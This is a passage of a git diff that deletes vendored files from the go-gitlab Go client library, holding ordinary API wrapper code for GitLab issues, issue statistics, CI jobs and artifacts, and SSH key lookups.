project issues. This function accepts -// pagination parameters page and per_page to return the list of project issues. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/issues.html#list-project-issues -func (s *IssuesService) ListProjectIssues(pid interface{}, opt *ListProjectIssuesOptions, options ...RequestOptionFunc) ([]*Issue, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var i []*Issue - resp, err := s.client.Do(req, &i) - if err != nil { - return nil, resp, err - } - - return i, resp, err -} - -// GetIssue gets a single project issue. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/issues.html#single-issues -func (s *IssuesService) GetIssue(pid interface{}, issue int, options ...RequestOptionFunc) (*Issue, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d", pathEscape(project), issue) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - i := new(Issue) - resp, err := s.client.Do(req, i) - if err != nil { - return nil, resp, err - } - - return i, resp, err -} - -// CreateIssueOptions represents the available CreateIssue() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/issues.html#new-issues -type CreateIssueOptions struct { - IID *int `url:"iid,omitempty" json:"iid,omitempty"` - Title *string `url:"title,omitempty" json:"title,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - Confidential *bool `url:"confidential,omitempty" json:"confidential,omitempty"` - AssigneeIDs []int `url:"assignee_ids,omitempty" json:"assignee_ids,omitempty"` - MilestoneID *int `url:"milestone_id,omitempty" json:"milestone_id,omitempty"` - Labels *Labels `url:"labels,comma,omitempty" json:"labels,omitempty"` - CreatedAt *time.Time `url:"created_at,omitempty" json:"created_at,omitempty"` - DueDate *ISOTime `url:"due_date,omitempty" json:"due_date,omitempty"` - MergeRequestToResolveDiscussionsOf *int `url:"merge_request_to_resolve_discussions_of,omitempty" json:"merge_request_to_resolve_discussions_of,omitempty"` - DiscussionToResolve *string `url:"discussion_to_resolve,omitempty" json:"discussion_to_resolve,omitempty"` - Weight *int `url:"weight,omitempty" json:"weight,omitempty"` -} - -// CreateIssue creates a new project issue. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/issues.html#new-issues -func (s *IssuesService) CreateIssue(pid interface{}, opt *CreateIssueOptions, options ...RequestOptionFunc) (*Issue, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - i := new(Issue) - resp, err := s.client.Do(req, i) - if err != nil { - return nil, resp, err - } - - return i, resp, err -} - -// UpdateIssueOptions represents the available UpdateIssue() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/issues.html#edit-issue -type UpdateIssueOptions struct { - Title *string `url:"title,omitempty" json:"title,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - Confidential *bool `url:"confidential,omitempty" json:"confidential,omitempty"` - AssigneeIDs []int `url:"assignee_ids,omitempty" json:"assignee_ids,omitempty"` - MilestoneID *int `url:"milestone_id,omitempty" json:"milestone_id,omitempty"` - Labels *Labels `url:"labels,comma,omitempty" json:"labels,omitempty"` - StateEvent *string `url:"state_event,omitempty" json:"state_event,omitempty"` - UpdatedAt *time.Time `url:"updated_at,omitempty" json:"updated_at,omitempty"` - DueDate *ISOTime `url:"due_date,omitempty" json:"due_date,omitempty"` - Weight *int `url:"weight,omitempty" json:"weight,omitempty"` - DiscussionLocked *bool `url:"discussion_locked,omitempty" json:"discussion_locked,omitempty"` -} - -// UpdateIssue updates an existing project issue. This function is also used -// to mark an issue as closed. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/issues.html#edit-issues -func (s *IssuesService) UpdateIssue(pid interface{}, issue int, opt *UpdateIssueOptions, options ...RequestOptionFunc) (*Issue, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d", pathEscape(project), issue) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - i := new(Issue) - resp, err := s.client.Do(req, i) - if err != nil { - return nil, resp, err - } - - return i, resp, err -} - -// DeleteIssue deletes a single project issue. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/issues.html#delete-an-issue -func (s *IssuesService) DeleteIssue(pid interface{}, issue int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d", pathEscape(project), issue) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// MoveIssueOptions represents the available MoveIssue() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/issues.html#move-an-issue -type MoveIssueOptions struct { - ToProjectID *int `url:"to_project_id,omitempty" json:"to_project_id,omitempty"` -} - -// MoveIssue updates an existing project issue. This function is also used -// to mark an issue as closed. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/issues.html#move-an-issue -func (s *IssuesService) MoveIssue(pid interface{}, issue int, opt *MoveIssueOptions, options ...RequestOptionFunc) (*Issue, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/move", pathEscape(project), issue) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - i := new(Issue) - resp, err := s.client.Do(req, i) - if err != nil { - return nil, resp, err - } - - return i, resp, err -} - -// SubscribeToIssue subscribes the authenticated user to the given issue to -// receive notifications. If the user is already subscribed to the issue, the -// status code 304 is returned. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#subscribe-to-a-merge-request -func (s *IssuesService) SubscribeToIssue(pid interface{}, issue int, options ...RequestOptionFunc) (*Issue, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/subscribe", pathEscape(project), issue) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - i := new(Issue) - resp, err := s.client.Do(req, i) - if err != nil { - return nil, resp, err - } - - return i, resp, err -} - -// UnsubscribeFromIssue unsubscribes the authenticated user from the given -// issue to not receive notifications from that merge request. If the user -// is not subscribed to the issue, status code 304 is returned. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#unsubscribe-from-a-merge-request -func (s *IssuesService) UnsubscribeFromIssue(pid interface{}, issue int, options ...RequestOptionFunc) (*Issue, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues/%d/unsubscribe", pathEscape(project), issue) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - i := new(Issue) - resp, err := s.client.Do(req, i) - if err != nil { - return nil, resp, err - } - - return i, resp, err -} - -// ListMergeRequestsClosingIssueOptions represents the available -// ListMergeRequestsClosingIssue() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/issues.html#list-merge-requests-that-will-close-issue-on-merge -type ListMergeRequestsClosingIssueOptions ListOptions - -// ListMergeRequestsClosingIssue gets all the merge requests that will close -// issue when merged. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/issues.html#list-merge-requests-that-will-close-issue-on-merge -func (s *IssuesService) ListMergeRequestsClosingIssue(pid interface{}, issue int, opt *ListMergeRequestsClosingIssueOptions, options ...RequestOptionFunc) ([]*MergeRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("/projects/%s/issues/%d/closed_by", pathEscape(project), issue) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var m []*MergeRequest - resp, err := s.client.Do(req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// ListMergeRequestsRelatedToIssueOptions represents the available -// ListMergeRequestsRelatedToIssue() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/issues.html#list-merge-requests-related-to-issue -type ListMergeRequestsRelatedToIssueOptions ListOptions - -// ListMergeRequestsRelatedToIssue gets all the merge requests that are -// related to the issue -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/issues.html#list-merge-requests-related-to-issue -func (s *IssuesService) ListMergeRequestsRelatedToIssue(pid interface{}, issue int, opt *ListMergeRequestsRelatedToIssueOptions, options ...RequestOptionFunc) ([]*MergeRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("/projects/%s/issues/%d/related_merge_requests", - pathEscape(project), - issue, - ) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var m []*MergeRequest - resp, err := s.client.Do(req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// SetTimeEstimate sets the time estimate for a single project issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/issues.html#set-a-time-estimate-for-an-issue -func (s *IssuesService) SetTimeEstimate(pid interface{}, issue int, opt *SetTimeEstimateOptions, options ...RequestOptionFunc) (*TimeStats, *Response, error) { - return s.timeStats.setTimeEstimate(pid, "issues", issue, opt, options...) -} - -// ResetTimeEstimate resets the time estimate for a single project issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/issues.html#reset-the-time-estimate-for-an-issue -func (s *IssuesService) ResetTimeEstimate(pid interface{}, issue int, options ...RequestOptionFunc) (*TimeStats, *Response, error) { - return s.timeStats.resetTimeEstimate(pid, "issues", issue, options...) -} - -// AddSpentTime adds spent time for a single project issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/issues.html#add-spent-time-for-an-issue -func (s *IssuesService) AddSpentTime(pid interface{}, issue int, opt *AddSpentTimeOptions, options ...RequestOptionFunc) (*TimeStats, *Response, error) { - return s.timeStats.addSpentTime(pid, "issues", issue, opt, options...) -} - -// ResetSpentTime resets the spent time for a single project issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/issues.html#reset-spent-time-for-an-issue -func (s *IssuesService) ResetSpentTime(pid interface{}, issue int, options ...RequestOptionFunc) (*TimeStats, *Response, error) { - return s.timeStats.resetSpentTime(pid, "issues", issue, options...) -} - -// GetTimeSpent gets the spent time for a single project issue. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/issues.html#get-time-tracking-stats -func (s *IssuesService) GetTimeSpent(pid interface{}, issue int, options ...RequestOptionFunc) (*TimeStats, *Response, error) { - return s.timeStats.getTimeSpent(pid, "issues", issue, options...) -} diff --git a/vendor/github.com/xanzy/go-gitlab/issues_statistics.go b/vendor/github.com/xanzy/go-gitlab/issues_statistics.go deleted file mode 100644 index 0f61c3f0b0..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/issues_statistics.go +++ /dev/null @@ -1,186 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// IssuesStatisticsService handles communication with the issues statistics -// related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/issues_statistics.html -type IssuesStatisticsService struct { - client *Client -} - -// IssuesStatistics represents a GitLab issues statistic. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/issues_statistics.html -type IssuesStatistics struct { - Statistics struct { - Counts struct { - All int `json:"all"` - Closed int `json:"closed"` - Opened int `json:"opened"` - } `json:"counts"` - } `json:"statistics"` -} - -func (n IssuesStatistics) String() string { - return Stringify(n) -} - -// GetIssuesStatisticsOptions represents the available GetIssuesStatistics() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/issues_statistics.html#get-issues-statistics -type GetIssuesStatisticsOptions struct { - Labels *Labels `url:"labels,omitempty" json:"labels,omitempty"` - Milestone *Milestone `url:"milestone,omitempty" json:"milestone,omitempty"` - Scope *string `url:"scope,omitempty" json:"scope,omitempty"` - AuthorID *int `url:"author_id,omitempty" json:"author_id,omitempty"` - AuthorUsername *string `url:"author_username,omitempty" json:"author_username,omitempty"` - AssigneeID *int `url:"assignee_id,omitempty" json:"assignee_id,omitempty"` - AssigneeUsername []string `url:"assignee_username,omitempty" json:"assignee_username,omitempty"` - MyReactionEmoji *string `url:"my_reaction_emoji,omitempty" json:"my_reaction_emoji,omitempty"` - IIDs []int `url:"iids,omitempty" json:"iids,omitempty"` - Search *string `url:"search,omitempty" json:"search,omitempty"` - In *string `url:"in,omitempty" json:"in,omitempty"` - CreatedAfter *time.Time `url:"created_after,omitempty" json:"created_after,omitempty"` - CreatedBefore *time.Time `url:"created_before,omitempty" json:"created_before,omitempty"` - UpdatedAfter *time.Time `url:"updated_after,omitempty" json:"updated_after,omitempty"` - UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"` - Confidential *bool `url:"confidential,omitempty" json:"confidential,omitempty"` -} - -// GetIssuesStatistics gets issues statistics on all issues the authenticated -// user has access to. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/issues_statistics.html#get-issues-statistics -func (s *IssuesStatisticsService) GetIssuesStatistics(opt *GetIssuesStatisticsOptions, options ...RequestOptionFunc) (*IssuesStatistics, *Response, error) { - req, err := s.client.NewRequest("GET", "issues_statistics", opt, options) - if err != nil { - return nil, nil, err - } - - is := new(IssuesStatistics) - resp, err := s.client.Do(req, is) - if err != nil { - return nil, resp, err - } - - return is, resp, err -} - -// GetGroupIssuesStatisticsOptions represents the available GetGroupIssuesStatistics() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/issues_statistics.html#get-group-issues-statistics -type GetGroupIssuesStatisticsOptions struct { - Labels *Labels `url:"labels,omitempty" json:"labels,omitempty"` - IIDs []int `url:"iids,omitempty" json:"iids,omitempty"` - Milestone *Milestone `url:"milestone,omitempty" json:"milestone,omitempty"` - Scope *string `url:"scope,omitempty" json:"scope,omitempty"` - AuthorID *int `url:"author_id,omitempty" json:"author_id,omitempty"` - AuthorUsername *string `url:"author_username,omitempty" json:"author_username,omitempty"` - AssigneeID *int `url:"assignee_id,omitempty" json:"assignee_id,omitempty"` - AssigneeUsername []string `url:"assignee_username,omitempty" json:"assignee_username,omitempty"` - MyReactionEmoji *string `url:"my_reaction_emoji,omitempty" json:"my_reaction_emoji,omitempty"` - Search *string `url:"search,omitempty" json:"search,omitempty"` - CreatedAfter *time.Time `url:"created_after,omitempty" json:"created_after,omitempty"` - CreatedBefore *time.Time `url:"created_before,omitempty" json:"created_before,omitempty"` - UpdatedAfter *time.Time `url:"updated_after,omitempty" json:"updated_after,omitempty"` - UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"` - Confidential *bool `url:"confidential,omitempty" json:"confidential,omitempty"` -} - -// GetGroupIssuesStatistics gets issues count statistics for given group. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/issues_statistics.html#get-group-issues-statistics -func (s *IssuesStatisticsService) GetGroupIssuesStatistics(gid interface{}, opt *GetGroupIssuesStatisticsOptions, options ...RequestOptionFunc) (*IssuesStatistics, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/issues_statistics", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - is := new(IssuesStatistics) - resp, err := s.client.Do(req, is) - if err != nil { - return nil, resp, err - } - - return is, resp, err -} - -// GetProjectIssuesStatisticsOptions represents the available -// GetProjectIssuesStatistics() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/issues_statistics.html#get-project-issues-statistics -type GetProjectIssuesStatisticsOptions struct { - IIDs []int `url:"iids,omitempty" json:"iids,omitempty"` - Labels *Labels `url:"labels,omitempty" json:"labels,omitempty"` - Milestone *Milestone `url:"milestone,omitempty" json:"milestone,omitempty"` - Scope *string `url:"scope,omitempty" json:"scope,omitempty"` - AuthorID *int `url:"author_id,omitempty" json:"author_id,omitempty"` - AuthorUsername *string `url:"author_username,omitempty" json:"author_username,omitempty"` - AssigneeID *int `url:"assignee_id,omitempty" json:"assignee_id,omitempty"` - AssigneeUsername []string `url:"assignee_username,omitempty" json:"assignee_username,omitempty"` - MyReactionEmoji *string `url:"my_reaction_emoji,omitempty" json:"my_reaction_emoji,omitempty"` - Search *string `url:"search,omitempty" json:"search,omitempty"` - CreatedAfter *time.Time `url:"created_after,omitempty" json:"created_after,omitempty"` - CreatedBefore *time.Time `url:"created_before,omitempty" json:"created_before,omitempty"` - UpdatedAfter *time.Time `url:"updated_after,omitempty" json:"updated_after,omitempty"` - UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"` - Confidential *bool `url:"confidential,omitempty" json:"confidential,omitempty"` -} - -// GetProjectIssuesStatistics gets issues count statistics for given project. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/issues_statistics.html#get-project-issues-statistics -func (s *IssuesStatisticsService) GetProjectIssuesStatistics(pid interface{}, opt *GetProjectIssuesStatisticsOptions, options ...RequestOptionFunc) (*IssuesStatistics, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/issues_statistics", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - is := new(IssuesStatistics) - resp, err := s.client.Do(req, is) - if err != nil { - return nil, resp, err - } - - return is, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/jobs.go b/vendor/github.com/xanzy/go-gitlab/jobs.go deleted file mode 100644 index c6e4ec1eac..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/jobs.go +++ /dev/null @@ -1,408 +0,0 @@ -// -// Copyright 2017, Arkbriar -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "bytes" - "fmt" - "io" - "time" -) - -// JobsService handles communication with the ci builds related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/jobs.html -type JobsService struct { - client *Client -} - -// Job represents a ci build. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/jobs.html -type Job struct { - Commit *Commit `json:"commit"` - Coverage float64 `json:"coverage"` - AllowFailure bool `json:"allow_failure"` - CreatedAt *time.Time `json:"created_at"` - StartedAt *time.Time `json:"started_at"` - FinishedAt *time.Time `json:"finished_at"` - Duration float64 `json:"duration"` - ArtifactsExpireAt *time.Time `json:"artifacts_expire_at"` - ID int `json:"id"` - Name string `json:"name"` - Pipeline struct { - ID int `json:"id"` - Ref string `json:"ref"` - Sha string `json:"sha"` - Status string `json:"status"` - } `json:"pipeline"` - Ref string `json:"ref"` - Artifacts []struct { - FileType string `json:"file_type"` - Filename string `json:"filename"` - Size int `json:"size"` - FileFormat string `json:"file_format"` - } `json:"artifacts"` - ArtifactsFile struct { - Filename string `json:"filename"` - Size int `json:"size"` - } `json:"artifacts_file"` - Runner struct { - ID int `json:"id"` - Description string `json:"description"` - Active bool `json:"active"` - IsShared bool `json:"is_shared"` - Name string `json:"name"` - } `json:"runner"` - Stage string `json:"stage"` - Status string `json:"status"` - Tag bool `json:"tag"` - WebURL string `json:"web_url"` - User *User `json:"user"` -} - -// ListJobsOptions are options for two list apis -type ListJobsOptions struct { - ListOptions - Scope []BuildStateValue `url:"scope[],omitempty" json:"scope,omitempty"` -} - -// ListProjectJobs gets a list of jobs in a project. -// -// The scope of jobs to show, one or array of: created, pending, running, -// failed, success, canceled, skipped; showing all jobs if none provided -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/jobs.html#list-project-jobs -func (s *JobsService) ListProjectJobs(pid interface{}, opts *ListJobsOptions, options ...RequestOptionFunc) ([]Job, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/jobs", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opts, options) - if err != nil { - return nil, nil, err - } - - var jobs []Job - resp, err := s.client.Do(req, &jobs) - if err != nil { - return nil, resp, err - } - - return jobs, resp, err -} - -// ListPipelineJobs gets a list of jobs for specific pipeline in a -// project. If the pipeline ID is not found, it will respond with 404. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/jobs.html#list-pipeline-jobs -func (s *JobsService) ListPipelineJobs(pid interface{}, pipelineID int, opts *ListJobsOptions, options ...RequestOptionFunc) ([]*Job, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/pipelines/%d/jobs", pathEscape(project), pipelineID) - - req, err := s.client.NewRequest("GET", u, opts, options) - if err != nil { - return nil, nil, err - } - - var jobs []*Job - resp, err := s.client.Do(req, &jobs) - if err != nil { - return nil, resp, err - } - - return jobs, resp, err -} - -// GetJob gets a single job of a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/jobs.html#get-a-single-job -func (s *JobsService) GetJob(pid interface{}, jobID int, options ...RequestOptionFunc) (*Job, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/jobs/%d", pathEscape(project), jobID) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - job := new(Job) - resp, err := s.client.Do(req, job) - if err != nil { - return nil, resp, err - } - - return job, resp, err -} - -// GetJobArtifacts get jobs artifacts of a project -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/jobs.html#get-job-artifacts -func (s *JobsService) GetJobArtifacts(pid interface{}, jobID int, options ...RequestOptionFunc) (io.Reader, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/jobs/%d/artifacts", pathEscape(project), jobID) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - artifactsBuf := new(bytes.Buffer) - resp, err := s.client.Do(req, artifactsBuf) - if err != nil { - return nil, resp, err - } - - return artifactsBuf, resp, err -} - -// DownloadArtifactsFileOptions represents the available DownloadArtifactsFile() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/jobs.html#download-the-artifacts-file -type DownloadArtifactsFileOptions struct { - Job *string `url:"job" json:"job"` -} - -// DownloadArtifactsFile download the artifacts file from the given -// reference name and job provided the job finished successfully. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/jobs.html#download-the-artifacts-file -func (s *JobsService) DownloadArtifactsFile(pid interface{}, refName string, opt *DownloadArtifactsFileOptions, options ...RequestOptionFunc) (io.Reader, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/jobs/artifacts/%s/download", pathEscape(project), refName) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - artifactsBuf := new(bytes.Buffer) - resp, err := s.client.Do(req, artifactsBuf) - if err != nil { - return nil, resp, err - } - - return artifactsBuf, resp, err -} - -// DownloadSingleArtifactsFile download a file from the artifacts from the -// given reference name and job provided the job finished successfully. -// Only a single file is going to be extracted from the archive and streamed -// to a client. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/jobs.html#download-a-single-artifact-file -func (s *JobsService) DownloadSingleArtifactsFile(pid interface{}, jobID int, artifactPath string, options ...RequestOptionFunc) (io.Reader, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - - u := fmt.Sprintf( - "projects/%s/jobs/%d/artifacts/%s", - pathEscape(project), - jobID, - artifactPath, - ) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - artifactBuf := new(bytes.Buffer) - resp, err := s.client.Do(req, artifactBuf) - if err != nil { - return nil, resp, err - } - - return artifactBuf, resp, err -} - -// GetTraceFile gets a trace of a specific job of a project -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/jobs.html#get-a-trace-file -func (s *JobsService) GetTraceFile(pid interface{}, jobID int, options ...RequestOptionFunc) (io.Reader, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/jobs/%d/trace", pathEscape(project), jobID) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - traceBuf := new(bytes.Buffer) - resp, err := s.client.Do(req, traceBuf) - if err != nil { - return nil, resp, err - } - - return traceBuf, resp, err -} - -// CancelJob cancels a single job of a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/jobs.html#cancel-a-job -func (s *JobsService) CancelJob(pid interface{}, jobID int, options ...RequestOptionFunc) (*Job, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/jobs/%d/cancel", pathEscape(project), jobID) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - job := new(Job) - resp, err := s.client.Do(req, job) - if err != nil { - return nil, resp, err - } - - return job, resp, err -} - -// RetryJob retries a single job of a project -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/jobs.html#retry-a-job -func (s *JobsService) RetryJob(pid interface{}, jobID int, options ...RequestOptionFunc) (*Job, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/jobs/%d/retry", pathEscape(project), jobID) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - job := new(Job) - resp, err := s.client.Do(req, job) - if err != nil { - return nil, resp, err - } - - return job, resp, err -} - -// EraseJob erases a single job of a project, removes a job -// artifacts and a job trace. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/jobs.html#erase-a-job -func (s *JobsService) EraseJob(pid interface{}, jobID int, options ...RequestOptionFunc) (*Job, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/jobs/%d/erase", pathEscape(project), jobID) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - job := new(Job) - resp, err := s.client.Do(req, job) - if err != nil { - return nil, resp, err - } - - return job, resp, err -} - -// KeepArtifacts prevents artifacts from being deleted when -// expiration is set. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/jobs.html#keep-artifacts -func (s *JobsService) KeepArtifacts(pid interface{}, jobID int, options ...RequestOptionFunc) (*Job, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/jobs/%d/artifacts/keep", pathEscape(project), jobID) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - job := new(Job) - resp, err := s.client.Do(req, job) - if err != nil { - return nil, resp, err - } - - return job, resp, err -} - -// PlayJob triggers a manual action to start a job. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/jobs.html#play-a-job -func (s *JobsService) PlayJob(pid interface{}, jobID int, options ...RequestOptionFunc) (*Job, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/jobs/%d/play", pathEscape(project), jobID) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - job := new(Job) - resp, err := s.client.Do(req, job) - if err != nil { - return nil, resp, err - } - - return job, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/keys.go b/vendor/github.com/xanzy/go-gitlab/keys.go deleted file mode 100644 index c520377131..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/keys.go +++ /dev/null @@ -1,65 +0,0 @@ -// -// Copyright 2018, Patrick Webster -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// KeysService handles communication with the -// keys related methods of the GitLab API. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/keys.html -type KeysService struct { - client *Client -} - -// Key represents a GitLab user's SSH key. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/keys.html -type Key struct { - ID int `json:"id"` - Title string `json:"title"` - Key string `json:"key"` - CreatedAt *time.Time `json:"created_at"` - User User `json:"user"` -} - -// GetKeyWithUser gets a single key by id along with the associated -// user information. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/keys.html#get-ssh-key-with-user-by-id-of-an-ssh-key -func (s *KeysService) GetKeyWithUser(key int, options ...RequestOptionFunc) (*Key, *Response, error) { - u := fmt.Sprintf("keys/%d", key) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - k := new(Key) - resp, err := s.client.Do(req, k) - if err != nil { - return nil, resp, err - } - - return k, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/labels.go 